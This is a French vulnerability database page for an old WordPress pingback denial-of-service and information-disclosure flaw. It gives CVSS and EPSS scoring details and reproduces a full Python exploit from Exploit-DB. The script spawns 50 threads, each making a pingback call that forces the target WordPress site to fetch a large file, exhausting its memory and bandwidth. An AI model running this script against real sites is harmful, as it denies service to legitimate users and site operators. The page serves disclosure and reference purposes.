Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
5 |
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AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 29522
Date de publication : 2007-01-23 23h00 +00:00
Auteur : Blake Matheny
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/22220/info
WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.
Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.
Versions prior to WordPress 2.1 are vulnerable.
#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
from threading import Thread
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
# Fetch Pingback-URL
pingbackURL = urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback: %s" % (targetURL, pingbackURL)
# Attack
def attack():
server = ServerProxy(pingbackURL)
try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
except: pass
for i in range(50):
Thread(target=attack).start()
print "-- attacking --"
Products Mentioned
Configuraton 0
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Références